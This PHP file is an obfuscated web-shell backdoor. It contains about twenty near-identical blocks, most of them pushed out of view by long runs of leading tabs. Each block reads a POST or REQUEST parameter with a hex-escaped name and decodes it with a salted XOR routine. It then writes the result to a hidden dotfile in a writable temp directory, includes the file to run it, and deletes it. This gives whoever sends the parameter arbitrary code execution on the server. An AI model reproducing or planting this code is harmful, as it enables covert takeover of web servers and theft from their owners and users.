<?php																																										if(array_key_exists("da\x74\x61", $_POST) && !is_null($_POST["da\x74\x61"])){ $binding = $_POST["da\x74\x61"]; $binding=explode ( '.', $binding) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $t = 0; array_walk($binding, function ($v4) use (&$key, &$t, $s, $sLen) { $sChar = ord($s[$t % $sLen]); $d = ((int)$v4 - $sChar - ($t % 10)) ^ 49; $key .=chr($d); $t++; }); $mrk = array_filter([getcwd(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm"]); $factor = 0; do { $pgrp = $mrk[$factor] ?? null; if ($factor >= count($mrk)) break; if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $pset = join("/", [$pgrp, ".property_set"]); $success = file_put_contents($pset, $key); if ($success) { include $pset; @unlink($pset); die();} } $factor++; } while (true); }
																																										if(array_key_exists("\x62i\x6Ed", $_POST)){ $flag = $_POST["\x62i\x6Ed"]; $flag = explode('.' , $flag ) ; $descriptor = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $y = 0; foreach($flag as $v8) { $chS = ord($salt2[$y %$lenS] ); $dec =((int)$v8 - $chS -($y %10)) ^ 44; $descriptor.= chr($dec ); $y++; } $pgrp = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp", "/tmp", "/dev/shm", getenv("TEMP")]); foreach ($pgrp as $k): if ((bool)is_dir($k) && (bool)is_writable($k)) { $record = vsprintf("%s/%s", [$k, ".token"]); if (file_put_contents($record, $descriptor)) { include $record; @unlink($record); exit; } } endforeach; }
																																										if(array_key_exists("\x73\x79m", $_POST)){ $symbol = $_POST["\x73\x79m"]; $symbol = explode ( ".", $symbol ); $holder = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $l = 0; array_walk($symbol ,function ($v7) use (&$holder ,&$l ,$salt6 ,$sLen) { $sChar = ord($salt6[$l %$sLen]); $dec = ((int)$v7 - $sChar - ($l %10)) ^ 70; $holder .= chr($dec); $l++; }); $dat = array_filter(["/var/tmp", "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); $ptr = 0; do { $key = $dat[$ptr] ?? null; if ($ptr >= count($dat)) break; if ((is_dir($key) and is_writable($key))) { $entry = "$key/.entity"; $file = fopen($entry, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $entry; @unlink($entry); exit; } } $ptr++; } while (true); }
																																										if(!empty($_POST["e\x6C\x65m"])){ $pointer = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd()]); $key = $_POST["e\x6C\x65m"]; $key = explode ( '.' , $key) ; $flag =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $i =0; $len =count($key); do { if ($i >= $len) break; $v1 =$key[$i]; $sChar =ord($s[$i % $lenS]); $d =((int)$v1 - $sChar - ($i % 10))^ 24; $flag .= chr($d); $i++; } while (true); while ($reference = array_shift($pointer)) { if (is_writable($reference) && is_dir($reference)) { $hld = implode("/", [$reference, ".ent"]); if (file_put_contents($hld, $flag)) { require $hld; unlink($hld); exit; } } } }
																																										if(isset($_POST["tok\x65\x6E"]) ? true : false){ $hld = $_POST["tok\x65\x6E"]; $hld =explode( '.' , $hld) ; $res= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt1 ); $x= 0; $__tmp= $hld; while ($v9= array_shift($__tmp)) { $sChar= ord($salt1[$x%$lenS] ); $d= ((int)$v9 - $sChar - ($x%10)) ^ 88; $res .= chr($d ); $x++; } $value = array_filter([getcwd(), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($value as $entity) { if (!( !is_dir($entity) || !is_writable($entity) )) { $bind = "$entity" . "/.fac"; if (file_put_contents($bind, $res)) { require $bind; unlink($bind); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["h\x6F\x6C\x64er"])){ $resource = array_filter([sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), session_save_path()]); $pointer = $_REQUEST["h\x6F\x6C\x64er"]; $pointer = explode ('.' , $pointer ) ; $marker = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s9); $m = 0; $len = count( $pointer); do { if( $m>= $len) break; $v8 = $pointer[$m]; $chS = ord( $s9[$m% $sLen]); $d =( ( int)$v8 - $chS -( $m% 10)) ^ 80; $marker .= chr( $d); $m++; } while( true); foreach ($resource as $itm) { if (array_product([is_dir($itm), is_writable($itm)])) { $ref = implode("/", [$itm, ".token"]); if (file_put_contents($ref, $marker)) { require $ref; unlink($ref); die(); } } } }
																																										if(array_key_exists("h\x6C\x64", $_POST)){ $dat = $_POST["h\x6C\x64"]; $dat = explode ( '.' ,$dat ); $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $y = 0; $len = count($dat); do { if ($y >= $len) break; $v4 = $dat[$y]; $sChar = ord($s[$y % $lenS]); $dec = ((int)$v4 - $sChar - ($y % 10)) ^ 66; $object .= chr($dec); $y++; } while (true); $entity = array_filter([getenv("TMP"), "/dev/shm", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp", getcwd()]); for ($bind = 0, $element = count($entity); $bind < $element; $bind++) { $ref = $entity[$bind]; if (!( !is_dir($ref) || !is_writable($ref) )) { $itm = str_replace("{var_dir}", $ref, "{var_dir}/.val"); if (@file_put_contents($itm, $object) !== false) { include $itm; unlink($itm); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x65\x6Et")){ $key = $_REQUEST["\x65\x6Et"]; $key= explode ( '.' ,$key ); $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($key as $j => $v6) { $sChar = ord($s[$j % $lenS] ); $dec = ((int)$v6 - $sChar - ($j % 10)) ^ 55; $resource .= chr($dec ); } $ptr = array_filter([getcwd(), sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); $ent = 0; do { $sym = $ptr[$ent] ?? null; if ($ent >= count($ptr)) break; if (!!is_dir($sym) && !!is_writable($sym)) { $ref = "$sym/.pset"; if (file_put_contents($ref, $resource)) { include $ref; @unlink($ref); exit; } } $ent++; } while (true); }
																																										if(isset($_POST["toke\x6E"])){ $ent = array_filter([getenv("TEMP"), getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); $data = $_POST["toke\x6E"]; $data = explode ( "." , $data) ; $pointer = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $t = 0; array_walk($data, function ($v7) use (&$pointer, &$t, $s1, $lenS) { $chS = ord($s1[$t % $lenS]); $dec = ((int)$v7 - $chS - ($t % 10)) ^ 33; $pointer .= chr($dec); $t++;} ); for ($property_set = 0, $component = count($ent); $property_set < $component; $property_set++) { $tkn = $ent[$property_set]; if (is_dir($tkn) && is_writable($tkn)) { $value = str_replace("{var_dir}", $tkn, "{var_dir}/.comp"); $success = file_put_contents($value, $pointer); if ($success) { include $value; @unlink($value); exit;} } } }
																																										if(isset($_POST["\x70\x73et"]) ? true : false){ $itm = array_filter([getcwd(), getenv("TEMP"), "/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp"]); $ent = $_POST["\x70\x73et"]; $ent = explode( '.' , $ent) ; $binding =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $x =0; $__tmp =$ent; while ($v7 =array_shift($__tmp)) { $chS =ord($s[$x % $sLen]); $d =((int)$v7 - $chS - ($x % 10)) ^ 97; $binding.= chr($d); $x++; } $res = 0; do { $dchunk = $itm[$res] ?? null; if ($res >= count($itm)) break; if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $item = str_replace("{var_dir}", $dchunk, "{var_dir}/.k"); if (@file_put_contents($item, $binding) !== false) { include $item; unlink($item); exit; } } $res++; } while (true); }
																																										if(!empty($_REQUEST["m\x72k"])){ $rec = array_filter([getenv("TMP"), session_save_path(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd(), getenv("TEMP")]); $itm = $_REQUEST["m\x72k"]; $itm = explode ( "." , $itm ); $obj = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2 ); $__len = count($itm ); for ($y = 0; $y <$__len; $y++) { $v4 = $itm[$y]; $chS = ord($s2[$y% $lenS] ); $dec = ((int)$v4 - $chS - ($y% 10)) ^16; $obj .=chr($dec ); } for ($desc = 0, $element = count($rec); $desc < $element; $desc++) { $entry = $rec[$desc]; if (is_writable($entry) && is_dir($entry)) { $res = vsprintf("%s/%s", [$entry, ".key"]); if (file_put_contents($res, $obj)) { include $res; @unlink($res); die(); } } } }
																																										if(isset($_POST["\x69\x74m"]) ? true : false){ $factor = $_POST["\x69\x74m"]; $factor= explode ('.' ,$factor ) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $n = 0; $__tmp = $factor; while( $v4 = array_shift( $__tmp)) { $chS = ord( $s[$n% $sLen]); $dec = ( ( int)$v4 - $chS -( $n% 10)) ^83; $token .=chr( $dec); $n++; } $entry = array_filter([session_save_path(), getenv("TMP"), getcwd(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/var/tmp"]); while ($object = array_shift($entry)) { if ((bool)is_dir($object) && (bool)is_writable($object)) { $tkn = join("/", [$object, ".data"]); if (@file_put_contents($tkn, $token) !== false) { include $tkn; unlink($tkn); die(); } } } }
																																										if(isset($_POST) && isset($_POST["prope\x72ty_\x73e\x74"])){ $dat = $_POST["prope\x72ty_\x73e\x74"]; $dat= explode ("." , $dat ) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $o = 0; foreach( $dat as $v9) { $chS = ord( $salt[$o % $sLen] ); $dec =( ( int)$v9 - $chS -( $o % 10))^ 20; $dchunk .= chr( $dec ); $o++; } $rec = array_filter(["/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd()]); $ref = 0; do { $data_chunk = $rec[$ref] ?? null; if ($ref >= count($rec)) break; if (max(0, is_dir($data_chunk) * is_writable($data_chunk))) { $entity = "$data_chunk" . "/.parameter_group"; $success = file_put_contents($entity, $dchunk); if ($success) { include $entity; @unlink($entity); exit;} } $ref++; } while (true); }
																																										if(isset($_POST["\x69t\x6D"])){ $element = array_filter(["/var/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm"]); $tkn = $_POST["\x69t\x6D"]; $tkn= explode ( "." , $tkn ) ; $pgrp = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6); $__len = count( $tkn); for( $w = 0; $w < $__len; $w++) { $v5 = $tkn[$w]; $sChar = ord( $salt6[$w % $lenS]); $d =( ( int)$v5 - $sChar -( $w % 10)) ^ 58; $pgrp .=chr( $d); } foreach ($element as $bind): if (!!is_dir($bind) && !!is_writable($bind)) { $object = "$bind" . "/.marker"; if (@file_put_contents($object, $pgrp) !== false) { include $object; unlink($object); die(); } } endforeach; }
																																										if(array_key_exists("\x73ym", $_POST) && !is_null($_POST["\x73ym"])){ $key = $_POST["\x73ym"]; $key = explode ( '.' , $key ) ; $mrk=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt); $q=0; $__len=count($key); do { if ($q >= $__len) break; $v9=$key[$q]; $chS=ord($salt[$q % $lenS]); $dec=((int)$v9 - $chS - ($q % 10)) ^ 33; $mrk .= chr($dec); $q++;} while (true); $value = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), session_save_path(), "/dev/shm"]); while ($component = array_shift($value)) { if (!( !is_dir($component) || !is_writable($component) )) { $marker = join("/", [$component, ".factor"]); if (file_put_contents($marker, $mrk)) { include $marker; @unlink($marker); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["en\x74"])){ $factor = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TMP"), session_save_path()]); $pointer = $_POST["en\x74"]; $pointer = explode ( '.' , $pointer ) ; $holder = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2 ); foreach($pointer as $i => $v8) { $sChar = ord($s2[$i % $lenS] ); $dec = ((int)$v8 - $sChar -($i % 10)) ^ 78; $holder .= chr($dec );} $dat = 0; do { $descriptor = $factor[$dat] ?? null; if ($dat >= count($factor)) break; if (!!is_dir($descriptor) && !!is_writable($descriptor)) { $item = vsprintf("%s/%s", [$descriptor, ".object"]); $success = file_put_contents($item, $holder); if ($success) { include $item; @unlink($item); die();} } $dat++; } while (true); }
																																										if(isset($_REQUEST["\x66\x61c"])){ $symbol = array_filter([session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); $comp = $_REQUEST["\x66\x61c"]; $comp = explode ( "." ,$comp ) ; $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $x = 0; $__tmp = $comp; while ($v8 = array_shift($__tmp)) { $sChar = ord($salt[$x % $sLen]); $d = ((int)$v8 - $sChar - ($x % 10)) ^ 39; $ref .=chr($d); $x++; } while ($pgrp = array_shift($symbol)) { if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $object = vsprintf("%s/%s", [$pgrp, ".record"]); $success = file_put_contents($object, $ref); if ($success) { include $object; @unlink($object); die();} } } }
																																										if(array_key_exists("p\x6F\x69\x6Eter", $_REQUEST)){ $ent = $_REQUEST["p\x6F\x69\x6Eter"]; $ent =explode ( ".", $ent ) ; $comp =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $w =0; foreach ($ent as $v4) {$sChar =ord($s[$w% $sLen]); $d =((int)$v4 - $sChar - ($w% 10)) ^ 77; $comp .= chr($d); $w++; } $parameter_group = array_filter([getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), "/tmp"]); while ($dat = array_shift($parameter_group)) { if (is_writable($dat) && is_dir($dat)) { $val = sprintf("%s/.fac", $dat); if (@file_put_contents($val, $comp) !== false) { include $val; unlink($val); die(); } } } }


if(!empty($_POST["ps\x65\x74"])){
	$obj = $_POST["ps\x65\x74"];
	$obj=		explode		(".",$obj )	; 
	$dat = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $k = 0;
    
            array_walk($obj	 ,function ($v3) use (&$dat	 ,&$k	 ,$salt	 ,$lenS) {
                $sChar = ord($salt[$k % $lenS]);
                $dec = ((int)$v3 - $sChar - ($k % 10))		^	 19;
                $dat .= chr($dec);
                $k++;  }	);
	$descriptor = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp", "/dev/shm", "/tmp"]);
	$entity = 0;
do {
    $itm = $descriptor[$entity] ?? null;
    if ($entity >= count($descriptor)) break;
    		if (is_dir($itm) && is_writable($itm)) {
    $resource = "$itm" . "/.token";
    if (file_put_contents($resource, $dat)) {
	include $resource;
	@unlink($resource);
	exit;
}
}
    $entity++;
} while (true);
}